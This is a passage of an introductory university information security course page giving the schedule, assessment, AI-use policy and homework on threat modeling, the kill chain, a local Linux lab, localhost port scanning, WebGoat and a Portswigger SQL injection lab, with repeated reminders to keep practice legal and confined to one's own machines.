&lt;td>Classes&lt;/td>
&lt;td>&lt;strong>Thursdays 11:00&lt;/strong> - 13:45, in Pasila &lt;strong>pa5001&lt;/strong>, bring your &lt;strong>laptop&lt;/strong>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Max students&lt;/td>
&lt;td>30. Sold out. Still likely to get a place from queue.&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Language&lt;/td>
&lt;td>&lt;strong>English&lt;/strong>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Type&lt;/td>
&lt;td>&lt;strong>Contact&lt;/strong>, in physical classroom, mandatory participation [as requested]&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Feedback&lt;/td>
&lt;td>4.4 / 5 &lt;strong>&lt;a href="#comments">Very good feedback&lt;/a>&lt;/strong>, best implementation 4.8/5 excellent &lt;img src="https://terokarvinen.com/img/five-stars-15.png" alt="Five star experience"> *&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Services&lt;/td>
&lt;td>&lt;a href="https://hhmoodle.haaga-helia.fi/course/view.php?id=45168">Moodle&lt;/a>, Laksu. Optionally &lt;a href="https://terokarvinen.com/newsletter/">Tero's list&lt;/a>.&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>First class&lt;/td>
&lt;td>&lt;strong>2026-01-15 w03 Thu 11:00&lt;/strong>, Pasila &lt;strong>pa5001&lt;/strong>, physically present with your &lt;strong>laptop&lt;/strong>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Enroll&lt;/td>
&lt;td>Very good change to get a place from the queue. Enroll in Peppi and come to the first class.&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;p>* I'm giving other security courses, too. Penetration testing (challenging course in Finnish) has reached excellent 5.0 /5, with every participant giving feedback and each feedback being 5. And Master level (YAMK) Trust to Blockchain has reached excellent 4.9 /5.&lt;/p>
&lt;h2 id="goals">Goals&lt;/h2>
&lt;p>After completing this course, you will&lt;/p>
&lt;ul>
&lt;li>Understand adversarial view on security&lt;/li>
&lt;li>Recognize key concepts of security&lt;/li>
&lt;li>Be able to safely practice hands-on with security tools&lt;/li>
&lt;/ul>
&lt;p>Hands-on exercises will emphasize environments fully controlled by you, using free open source software in your possession.&lt;/p>
&lt;a name=schedule>
&lt;a name=agenda>
&lt;h2 id="schedule">Schedule&lt;/h2>
&lt;p>&lt;strong>Thursdays 11:00&lt;/strong> - 13:45, in Pasila &lt;strong>pa5001&lt;/strong>, bring your &lt;strong>laptop&lt;/strong>.&lt;/p>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Date&lt;/th>
&lt;th>Theme&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>2026-01-15 w03 Thu&lt;/td>
&lt;td>1. Organizing. Threath modeling.&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>2026-01-22 w04 Thu&lt;/td>
&lt;td>2. Cyber kill chain. First presentations. Themes: Governance, risk and compliance; Wildcard. Malte. Alexander: Phishing attacks. Aleksi: Basic online safety. Jaime.&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>2026-01-29 w05 Thu&lt;/td>
&lt;td>3. Practice environments. Themes: Cyber attacks, malware, adversary methods. Suprim: Pratice Environments.&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>2026-02-05 w06 Thu&lt;/td>
&lt;td>4. Web security. OWASP 10. Themes: Web security, application security, audits. Julien: Web security, app security and audits. Niroj. Maaz. Ezza.&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>2026-02-12 w07 Thu&lt;/td>
&lt;td>5. Encryption. Asymmetric vs symmetric. GPG. SSH. Themes: Encryption and communication security. Steeve. Lee.&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>2026-02-26 w09 Thu&lt;/td>
&lt;td>6. Passwords. Hashes introduction. Themes: Identity, passwords, authentication.&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>2026-03-05 w10 Thu&lt;/td>
&lt;td>7. Themes: New developements. OSINT. Arshpreet: New developments in OSINT and role of TOR. Jonas: Darknets. Suman: Identity, passwords and authentication. Optional: Darknet, TOR.&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>2026-03-12 w11 Thu&lt;/td>
&lt;td>8. Recap. Themes: Case examples. E.g. from your work. Moosa. Sajjad.&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;p>Eight security classes in Pasila. All classes require active participation. I have changed this course to contact (physically in the class) as requested in the feedback.&lt;/p>
&lt;p>Presentations are related to themes.&lt;/p>
&lt;p>There will likely be updates to the contents of the classes as the course advances.&lt;/p>
&lt;p>You can reserve a spot for your presentation as soon as on the second class.&lt;/p>
&lt;h2 id="assessment">Assessment&lt;/h2>
&lt;ul>
&lt;li>Active participation in classes&lt;/li>
&lt;li>Homework and cross evaluation (66%)&lt;/li>
&lt;li>Presentation (33%)&lt;/li>
&lt;/ul>
&lt;p>Evaluation of the course is based on totality of the work presented.&lt;/p>
&lt;h2 id="previous-courses">Previous courses&lt;/h2>
&lt;ul>
&lt;li>&lt;a href="https://terokarvinen.com/2025/information-security-ici002as2ae-3007-2025p1/">Information Security ICI002AS2AE-3007 2025p1 early autumn&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://terokarvinen.com/2025/information-security-ici002as2ae-3004-2025p3/">Information Security ICI002AS2AE-3004 - Early Spring 2025&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://terokarvinen.com/2024/information-security-2024p1-early-autumn-ici002as2ae-3005/"> Information Security - ICI002AS2AE-3005 - Early Autumn 2024&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://terokarvinen.com/2024/information-security-2024-spring/">Information Security ICI002AS2AE-3002 2024 Spring&lt;/a>
&lt;ul>
&lt;li>&lt;a href="https://terokarvinen.com/2024/information-security-2024-spring/#comments">Feedback&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="https://terokarvinen.com/2023/information-security-2023-autumn/">Information Security ICI002AS2AE-3003&lt;/a>
&lt;ul>
&lt;li>&lt;a href="https://terokarvinen.com/2023/information-security-2023-autumn/#comments">Feedback&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="https://terokarvinen.com/2023/information-security-2023/">Information Security 2023 Spring&lt;/a>
&lt;ul>
&lt;li>&lt;a href="https://terokarvinen.com/2023/information-security-2023/#comments">Feedback&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="https://terokarvinen.com/2021/data-security-2022p3-ict4tf022-3008/">Data Security ICT4TF022-3008, 2022 early spring&lt;/a>
&lt;ul>
&lt;li>&lt;a href="https://terokarvinen.com/2021/data-security-2022p3-ict4tf022-3008/#comments">Feedback&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="https://terokarvinen.com/2022/data-security-ict4tf022-3009/">Data Security 2022 ict4tf022-3009, 2022 early autumn&lt;/a>
&lt;ul>
&lt;li>&lt;a href="https://terokarvinen.com/2022/data-security-ict4tf022-3009/#comments">Feedback&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="feedback">Feedback&lt;/h2>
&lt;p>Thanks already! Your feedback is very important to me. I will read it all (twice+) and make improvements. Please give your feedback to two channels.&lt;/p>
&lt;h3 id="1-free-form-feedback-as-a-comment-on-this-page">1) Free form feedback as a comment on this page&lt;/h3>
&lt;p>&lt;a href="#comments">Write your comment on this page&lt;/a>.&lt;/p>
&lt;p>You can write what ever you want. No need to repeat the questions, but they are here to get you started.&lt;/p>
&lt;ul>
&lt;li>Did you learn something? Do you now know something you did not know before the course? (Models, frameworks, ideas, tools?)&lt;/li>
&lt;li>Did you do something for the first time? (Broke passwords, broke into web service, create treath models, used password manager, encrypted messages? Used some technique or a tool for the first time?)&lt;/li>
&lt;li>Is this useful? Are these skills useful in companies?&lt;/li>
&lt;li>How did you like the presentations? Interesting subject? Did you like presenting? Useful information? Actionable?&lt;/li>
&lt;li>How did you like comments and feedback? Did you get answers to your questions? (from classmates, teacher; to your homework, presentations)&lt;/li>
&lt;li>Feelings: did you enjoy the course?&lt;/li>
&lt;li>How could I improve the course? (I can make almost any change here, if it's important)&lt;/li>
&lt;li>Would you recommend the course? Have you already recommended it? Who would benefit from the course (a colleague, a fellow student)?&lt;/li>
&lt;/ul>
&lt;h3 id="2-numeric-feedback-to-haaga-helia-feedback-system-peppi">2) Numeric feedback to Haaga-Helia feedback system (Peppi)&lt;/h3>
&lt;p>&lt;a href="https://mynet.haaga-helia.fi">Feedback in MyNet (Peppi)&lt;/a>&lt;/p>
&lt;p>1-worst, 5-best&lt;/p>
&lt;ul>
&lt;li>Your active participation in studies&lt;/li>
&lt;li>Achieving the learning goals&lt;/li>
&lt;li>The study methods supported learning&lt;/li>
&lt;li>The study environment supported learning&lt;/li>
&lt;li>Benefits to your career&lt;/li>
&lt;/ul>
&lt;p>Open, you can copy the same answer you gave earlier&lt;/p>
&lt;ul>
&lt;li>What promoted your learning?&lt;/li>
&lt;li>How would you develop the implementation / group of implementations further so that the learning goals could be achieved better?&lt;/li>
&lt;/ul>
&lt;p>Your overall assessment of the implementation, 1-worst, 5-best&lt;/p>
&lt;p>How likely would you recommend the course to your fellow students? 1-worst, 10-best.&lt;/p>
&lt;p>Thank you for your feedback, and thank you for our course!&lt;/p>
&lt;p>Optional: Keep up with Linux &amp;amp; security, &lt;a href="https://terokarvinen.com/newsletter/">join Tero's list&lt;/a>. (And get invitations to visitors on security)&lt;/p>
&lt;p>See you in my future courses!&lt;/p>
&lt;h2 id="homework">Homework&lt;/h2>
&lt;p>Homeworks are done with a computer and reported at the same time. If some task does not require performing tests with a computer, it's specied writing.&lt;/p>
&lt;p>Each homework is returned&lt;/p>
&lt;ul>
&lt;li>24 h before start of next lecture&lt;/li>
&lt;li>you can publish your homework report in any website you like&lt;/li>
&lt;li>return a link to Laksu&lt;/li>
&lt;li>cross-evaluate two other homeworks&lt;/li>
&lt;/ul>
&lt;p>To save everyone's time, I will remove those from the course who don't return homework, or who don't cross evaluate class mates work.&lt;/p>
&lt;p>Github is a convenient place to publish your reports, others are Gitlab and Wordpress.com. I highly recommend publishing your work, it seems to help getting (better) job offers. But if you don't dare or want to publish, you can put your web page behind a password (e.g. in Wordpress.com, same password for all reports), and share this password with your group.&lt;/p>
&lt;p>AI and large language models (LLM): You can ask AI or LLM a question and use the answer as facts for your own answer, written in your own words. AI must be marked as a reference, with details such as prompt (and for advanced users system prompts, temperature, jailbreaks...). LLMs tend to hallucinate, so you should check answers from more reliable sources. It's not allowed to generate text with AI or similar technologies. For example, it's not allowed to generate essay answers or summaries with AI, LLM or similar technologies.&lt;/p>
&lt;p>The homeworks are official after they are given in the class. Don't start them before, because they might change.&lt;/p>
&lt;h3 id="h0-hello-web">h0 Hello, web!&lt;/h3>
&lt;p>a) Publish a web page. Show that you can make headings (h1 #, h2 ##...), paragraphs (p, empty line), links (a &lt;a href="http://example.com">http://example.com&lt;/a>) and code style (code or pre, four spaces at start of line). Markdown recommended.&lt;/p>
&lt;p>Tips&lt;/p>
&lt;p>Karvinen 2023: &lt;a href="https://terokarvinen.com/2023/create-a-web-page-using-github/">Create a Web Page Using Github&lt;/a>&lt;/p>
&lt;h3 id="h1-should-tero-wear-a-helmet">h1 Should Tero wear a helmet?&lt;/h3>
&lt;ul>
&lt;li>x) Read / watch / listen and summarize (This subtask x does not require tests with a computer. Some bullets per article is enough for your summary, feel free to write more if you like. Add some question or idea of your own.)
&lt;ul>
&lt;li>&lt;strong>Threat modeling&lt;/strong>
&lt;ul>
&lt;li>Braiterman et al 2020: &lt;a href="https://www.threatmodelingmanifesto.org/">Threat modeling manifesto&lt;/a>&lt;/li>
&lt;li>Shostack 2022: &lt;a href="https://www.youtube.com/playlist?list=PLCVhBqLDKoOOZqKt74QI4pbDUnXSQo0nf">Welcome to the Worlds Shortest Threat Modeling Course&lt;/a> (12 parts, about 15 min total, audio is enough for all except video 7 &amp;quot;Data flow diagrams&amp;quot;)&lt;/li>
&lt;li>OWASP CheatSheets Series Team 2021: &lt;a href="https://cheatsheetseries.owasp.org/cheatsheets/Threat_Modeling_Cheat_Sheet.html">Threat Modeling Cheat Sheet&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;strong>Infosec scene&lt;/strong>
&lt;ul>
&lt;li>Any episode from &lt;a href="https://darknetdiaries.com/">Darknet Diaries Podcast&lt;/a>. (Try picking an episode that's different from everyone else, e.g. not the latest and not one that's prominently on the front page.)&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>a) &lt;strong>Security hygiene&lt;/strong>. What basic security practices should everyone follow? Are there some security hygiene practicies that every company or average Joe should follow? (This subtask does not require tests with a computer. A bullet list is enough)&lt;/li>
&lt;li>b) &lt;strong>Make-belief boogie-man&lt;/strong> - a threat model for imaginary company.
&lt;ul>
&lt;li>This subtask does not require tests with a computer.&lt;/li>
&lt;li>Create an imaginary company and create threat model.&lt;/li>
&lt;li>Business requirements come from business, technical specialist help with tech. Inlude this in your narrative.&lt;/li>
&lt;li>Your analysis should cover all parts of the four question model (four key questions in Threat modeling manifesto)
&lt;ul>
&lt;li>(1) What are we working on?
&lt;ul>
&lt;li>Our assets
&lt;ul>
&lt;li>Priorization, key assets&lt;/li>
&lt;li>E.g. customer health data is a crown jevel, personel gaming server is probably not&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Security supports business&lt;/li>
&lt;li>Draw a diagram of the company systems&lt;/li>
&lt;li>Customer is the king
&lt;ul>
&lt;li>What do we have to do the serve the customer (to keep getting paid)&lt;/li>
&lt;li>How does customer see our systems? Touchpoints?&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Write a description.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>(2) What can go wrong?
&lt;ul>
&lt;li>Apply one or more named models: Attack trees, STRIDE, CIA, ATT&amp;amp;CK...
&lt;ul>
&lt;li>Give some examples of identified risks - you don't need to find all risks or likely vulnerabilites, as there would be too many for this homework.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Priorize biggest risks
&lt;ul>
&lt;li>High expected value (or other very high risk)&lt;/li>
&lt;li>Expected value = probability * monetary value&lt;/li>
&lt;li>Expected value is a tool for discussion, it's not exact science as we have to guestimate the input numbers&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Are you targetted by specific threat actors? Are there actors that target your geographical or political area or industry?
&lt;ul>
&lt;li>Known TTPs? (tactics, techniques, procedures)&lt;/li>
&lt;li>COI - Capability, Opportunity, Intent&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Business continuity
&lt;ul>
&lt;li>We have to keep serving the customer to receive money.&lt;/li>
&lt;li>Stakeholders (customer, employees...) trust us. Trust is hard to get and easy to lose.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>(3) What are we going to do about it?
&lt;ul>
&lt;li>Can you: reduce attack surface, limit entry points...&lt;/li>
&lt;li>META: Mitigage, Eliminate, Transfer, Accept.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>(4) Did we do a good enough job?
&lt;ul>
&lt;li>Security audits, pentests, assesments, continous threat modeling and evaluation&lt;/li>
&lt;li>Process, not a one time job. It never ends.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>Tips:&lt;/p>
&lt;ul>
&lt;li>Reading is for you.
&lt;ul>
&lt;li>Read the articles.
&lt;ul>
&lt;li>You learn the subject matter required to
&lt;ul>
&lt;li>complete the tasks&lt;/li>
&lt;li>understand how the tasks are related to the field of infosec&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>You learn the channels to follow the scene after the course&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Don't generate content with AI. Not understanding the arcticle will make it harder and harder to succeed in the future. Generating a lot of useless AI spam for classmates to read is disrespectful of their time.&lt;/li>
&lt;li>You can answer with just a few bullets.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Refer to sources
&lt;ul>
&lt;li>Any book, page, video, man-page, report you use for home work task should be listed as a source.&lt;/li>
&lt;li>This task page is of course one source for the report: Karvinen 2024: Information Security Course, &lt;a href="https://terokarvinen.com/information-security/">https://terokarvinen.com/information-security/&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Work on your own level
&lt;ul>
&lt;li>If you have background in security and IT, feel free to challenge yourself.&lt;/li>
&lt;li>If you're just starting, just fumble around - bravely try the models. We will not implement your plan, nothing will happen in real life even if your threat model is not perfect.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Security hygiene
&lt;ul>
&lt;li>No brainer: Wouldn't it be great if you could just recommend some practices - even before conducting laboursome threat modeling?&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Threat modeling
&lt;ul>
&lt;li>Think about the moment when you're using this in real life. You sit down on a table. You identify risks and choose how to use your limited resources. You colleagues will trust you can keep company systems safe and running.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Darknet Diaries
&lt;ul>
&lt;li>&lt;a href="https://f-droid.org/en/packages/de.danoeh.antennapod/">AntennaPod&lt;/a> is convenient Android program for listening podcasts. It's available in &lt;a href="https://f-droid.org/en/packages/de.danoeh.antennapod/">F-Droid&lt;/a> and Google Play. Of course, there are hundreds if not thousands other programs for podcasts, too.&lt;/li>
&lt;li>Pick any episode. Check descriptions, and pick one that's likely to be suitable here. It's recommended to pick other than the latest or the one on top of the homepage, so we can look at different episodes.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>When cross evaluating
&lt;ul>
&lt;li>Give comments&lt;/li>
&lt;li>Use the whole scale (5 is every non-voluntary task solved and reported clearly)&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="h2-kill-chain">h2 Kill Chain&lt;/h3>
&lt;p>&lt;em>We'll start zooming in from threat modeling (&amp;quot;what &amp;amp; why&amp;quot;) to cyber kill chain (&amp;quot;how&amp;quot;).&lt;/em>&lt;/p>
&lt;ul>
&lt;li>x) Read and summarize. (This subtask x does not require tests with a computer. Some bullets per article is enough for your summary - no extended essays. Add a bullet for your own question or insight)
&lt;ul>
&lt;li>&lt;a href="https://lockheedmartin.com/content/dam/lockheed-martin/rms/documents/cyber/LM-White-Paper-Intel-Driven-Defense.pdf">Hutchins et al 2011: Intelligence-Driven Computer Network Defense Informed by Analysis of Adversary Campaigns and Intrusion Kill Chains&lt;/a>, chapters Abstract, 3.2 Intrusion Kill Chain.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>a) &lt;strong>Tactics, tools and procedures&lt;/strong>
&lt;ul>
&lt;li>This subtask x does not require tests with a computer&lt;/li>
&lt;li>Briefly look at &lt;a href="https://attack.mitre.org/">MITRE ATT&amp;amp;CK Matrix for Enterprise&lt;/a>. You don't need to read it completely, as it's quite large.&lt;/li>
&lt;li>Read the &amp;quot;General&amp;quot; part of the &lt;a href="https://attack.mitre.org/resources/faq/#general-faq">FAQ&lt;/a>&lt;/li>
&lt;li>Answer in the context of &lt;a href="https://attack.mitre.org/">MITRE ATT&amp;amp;CK&lt;/a>, and pick examples that are different from the chapter in task x.
&lt;ul>
&lt;li>Define &lt;strong>tactic&lt;/strong> and give an example of a specific tactic.&lt;/li>
&lt;li>Define &lt;strong>technique&lt;/strong> and &lt;strong>subtechnique&lt;/strong>, and give an example of each.&lt;/li>
&lt;li>Define &lt;strong>procedure&lt;/strong>, and give an example of each.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>b) Download Linux image on your laptop's hard drive, so that you have it ready for the next class. &lt;a href="https://cdimage.debian.org/debian-cd/current-live/amd64/iso-hybrid/debian-live-13.3.0-amd64-xfce.iso">debian-live-13*-amd64-xfce.iso&lt;/a>. (You don't need to install it yet. Next week, we'll &lt;a href="https://terokarvinen.com/2021/install-debian-on-virtualbox/">Install Debian Linux on Virtualbox&lt;/a>.)&lt;/li>
&lt;li>c) Voluntary bonus: &lt;strong>Attack story&lt;/strong> Write a story of an attack. Use ATT&amp;amp;CK vocabulary; number tactics, techniques and procedures. Also name defensive actions. You can decide how far the attack goes and if it's stopped.&lt;/li>
&lt;li>d) Voluntary bonus: Install Linux on a virtual machine. See tutorials &lt;a href="https://terokarvinen.com/install-debian-on-virt-manager/">1&lt;/a>, &lt;a href="https://terokarvinen.com/2021/install-debian-on-virtualbox/">2&lt;/a>, &lt;a href="https://github.com/johannaheinonen/johanna-test-repo/blob/main/linux-20082025.md">3&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>Tips&lt;/p>
&lt;ul>
&lt;li>In &amp;quot;Read and summarize&amp;quot;:
&lt;ul>
&lt;li>read first, then summarize&lt;/li>
&lt;li>summarize key content
&lt;ul>
&lt;li>not just headings&lt;/li>
&lt;li>don't just describe the article, tell the main things it says&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>add a question, an idea or a comment of your own to each article&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Refer &amp;amp; link any sources you use
&lt;ul>
&lt;li>Course / the classes&lt;/li>
&lt;li>Homework task page&lt;/li>
&lt;li>Homework reports by other students&lt;/li>
&lt;li>Any web pages&lt;/li>
&lt;li>Manuals, Articles, Man pages...&lt;/li>
&lt;li>Referencing your sources is required&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="h3-hello-lab">h3 Hello Lab&lt;/h3>
&lt;p>&lt;em>This week, you start building your own hacking lab. You learn hacking by hacking.&lt;/em>&lt;/p>
&lt;ul>
&lt;li>x) Read/watch/listen and summarize (This subtask x does not require tests with a computer. Some bullets per article is enough for your summary, feel free to write more if you like. Add a bullet for your own idea or question.)
&lt;ul>
&lt;li>Karvinen 2021: &lt;a href="https://terokarvinen.com/2021/install-debian-on-virtualbox/">Install Debian on Virtualbox - Updated 2024&lt;/a>&lt;/li>
&lt;li>Karvinen 2020: &lt;a href="https://terokarvinen.com/2020/command-line-basics-revisited/">Command Line Basics Revisited&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>a) Can't fish. Disable networking and show that packets don't go trough. For example, use 'ping 1.1.1.1' (Cloudfare DNS server) or 'ping 8.8.8.8' (Google DNS server). Do this task on your Linux.&lt;/li>
&lt;li>b) Local only. Portscan your own computer using &amp;quot;localhost&amp;quot; address. It's illegal to portscan computers you don't own. Disconnect computer from the Internet while testing. Analyze your results. Do this task on your Linux.&lt;/li>
&lt;li>c) Daemon scan. Install a daemon (a server application) and port scan again. For example, you could install Apache web server or OpenSSH secure remote shell. Analyze the differences to scan without the daemon. Do this task on your Linux.&lt;/li>
&lt;li>d) Bandit oh-five. Solve &lt;a href="https://overthewire.org/wargames/bandit/">Over The Wire: Bandit&lt;/a> the first five levels (0-4). (Alternative task: you can instead do and report five harder levels if your Linux background makes this an easy task).&lt;/li>
&lt;li>e) Voluntary bonus task: &lt;a href="https://underthewire.tech/wargames">Underthewire&lt;/a>: &lt;a href="https://underthewire.tech/century">Century&lt;/a>, a couple of levels. I have not tried this one myself, so also interested to hear your views. Inspired by OverTheWire, but for Windows Powershell.&lt;/li>
&lt;/ul>
&lt;p>Tips&lt;/p>
&lt;ul>
&lt;li>If you get stuck &lt;a name=stuck>
&lt;ul>
&lt;li>Don't worry: Computers are cranky, that's why they pay hackers well&lt;/li>
&lt;li>Solve and report all parts you can do&lt;/li>
&lt;li>Return your partial report in time&lt;/li>
&lt;li>Google/Duck. That's what the pros do, too. Write down a reference to the sources you used.&lt;/li>
&lt;li>If you need to look at a walktrough (an exact solution to this homework, task or flag), clearly mark where you needed it.&lt;/li>
&lt;li>Solve the trouble part as far as you can. Report all approaches taken.&lt;/li>
&lt;li>Ask about the challenges in the class, likely someone else had the same thing&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>For x - &amp;quot;Read and summarize&amp;quot;:
&lt;ul>
&lt;li>Just some bullets per article is enough.&lt;/li>
&lt;li>I want to you understand the content.&lt;/li>
&lt;li>Also learn about channels/books/blogs/articles to follow to keep up with infosec after the course&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Can't fish
&lt;ul>
&lt;li>Also test commands when Internet is connected. This way, you show that the command is correctly testing the network.&lt;/li>
&lt;li>You can kill 'ping' with ctrl-C&lt;/li>
&lt;li>Explain what each part of command does&lt;/li>
&lt;li>Explain how the result shows that network is disabled.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Port scanning
&lt;ul>
&lt;li>'sudo nmap -A localhost' # port scans 1000 most common TCP ports, -A does banner grabbing, scripts...&lt;/li>
&lt;li>Analyzing means you explain the meaning of each little part of each command and output; then give clear conclusion; optionally end with an ELI5 (explain like I'm five years old).&lt;/li>
&lt;li>Only port scan localhost.&lt;/li>
&lt;li>Disconnect computer from the Interet when port scanning.&lt;/li>
&lt;li>Finland even has our highest court case where a minor (17 years old) was punished for port scanning. Court case took years, 1998-2003. &lt;a href="https://finlex.fi/fi/oikeus/kko/kko/2003/20030036">KKO:2003:36&lt;/a>. It's in Finnish, but Firefox has offline machine translation from Finnish to English.&lt;/li>
&lt;li>You can install nmap with apt-get.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Daemon
&lt;ul>
&lt;li>'sudo apt-get update'&lt;/li>
&lt;li>'sudo apt-get -y install apache2' # you could also install &amp;quot;ssh&amp;quot;&lt;/li>
&lt;li>'sudo systemctl start apache2' # you can use start, stop, restart, status. You can control any daemon, like &amp;quot;ssh&amp;quot;&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>OverTheWire
&lt;ul>
&lt;li>Some tasks list useful commands. You can see more info on each command with 'man', for example 'man find'.&lt;/li>
&lt;li>If you get completely stuck, and can't advance even after reading the friendly manual and trying (and documenting) multiple approaches, solutions are easy to find on the net. If you need to use a walktrough, remember to mark it as a reference.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>UnderTheWire
&lt;ul>
&lt;li>ssh &lt;a href="mailto:century1@century.underthewire.tech">century1@century.underthewire.tech&lt;/a>&lt;/li>
&lt;li>If your ssh command gives error: &amp;quot;Terminal initialization failure. See server logs for more info. Hint: Try requesting a different terminal environment. Connection to century.underthewire.tech closed.&amp;quot;, use 'export TERM=&amp;quot;xterm-256color&amp;quot;'. (As noted by &lt;a href="https://leo.oliver.nz/posts/2023/09/oscp-practise-proving-grounds-dvr4-walkthrough/">Leo&lt;/a>)&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="h4-johnny-tables">h4 Johnny Tables&lt;/h3>
&lt;p>&lt;em>Remember to keep it safe, legal and ethical. Especially if you grasp OWASP 10, you still can't try these to machines you don't own.&lt;/em>&lt;/p>
&lt;p>&lt;em>You're only allowed to start these tasks after accepting course rules in Moodle.&lt;/em>&lt;/p>
&lt;ul>
&lt;li>x) Read and summarize (This subtask x does not require tests with a computer. Some bullets per article is enough for your summary. Try to get an idea, then briefly explain in your own words. Be brief. Add your own comment, question or idea on each.)
&lt;ul>
&lt;li>OWASP: OWASP 10 2021.
&lt;ul>
&lt;li>&lt;a href="https://owasp.org/Top10/A01_2021-Broken_Access_Control/">A01:2021 - Broken Access Control &lt;/a>&lt;/li>
&lt;li>&lt;a href="https://owasp.org/Top10/A05_2021-Security_Misconfiguration/">A05:2021 - Security Misconfiguration&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://owasp.org/Top10/A06_2021-Vulnerable_and_Outdated_Components/">A06:2021 - Vulnerable and Outdated Components&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://owasp.org/Top10/A03_2021-Injection/">A03:2021 - Injection&lt;/a>&lt;/li>
&lt;li>(ps. I think these might be my favourite vulnerability categories...)&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Munroe: &lt;a href="https://xkcd.com/327/">xkcd 327: Exploits of a Mom&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>a) Goat. &lt;a href="https://terokarvinen.com/2023/webgoat-2023-4-ethical-web-hacking/">Install WebGoat 2023.4&lt;/a>.&lt;/li>
&lt;li>b) F12. Solve Webgoat 2023.4: General: Developer tools.&lt;/li>
&lt;li>c) Not outdated. Update all operating system and all applications in your Linux.&lt;/li>
&lt;li>d) Sequel. Solve &lt;a href="https://sqlzoo.net/wiki/SQL_Tutorial">SQLZoo&lt;/a>:
&lt;ul>
&lt;li>0 SELECT basics&lt;/li>
&lt;li>2 SELECT from World: First two subtasks: &amp;quot;1. You can use WHERE...&amp;quot; and &amp;quot;2. Find the countries...&amp;quot;.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>e) Solve Portswigger Labs: &lt;a href="https://portswigger.net/web-security/sql-injection/lab-retrieve-hidden-data">Lab: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data&lt;/a>. Explain how and why! How can you find the vulnerabitiy? What each part of the exploit does?&lt;/li>
&lt;li>m) Voluntary bonus: WebGoat: SQL Injection&lt;/li>
&lt;li>n) Voluntary bonus: solve some &lt;a href="https://portswigger.net/web-security/all-labs">Portswigger labs&lt;/a> marked as Apprentice (easy level)&lt;/li>
&lt;/ul>
&lt;p>Tips:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="#stuck">If you get stuck&lt;/a>&lt;/li>
&lt;li>F12 Developer tools: I'm using Firefox F12. But it probably works on Chromium, too.&lt;/li>
&lt;li>You can update all software in Linux with
&lt;ul>
&lt;li>Open terminal&lt;/li>
&lt;li>'sudo apt-get update'&lt;/li>
&lt;li>'sudo apt-get dist-upgrade'&lt;/li>
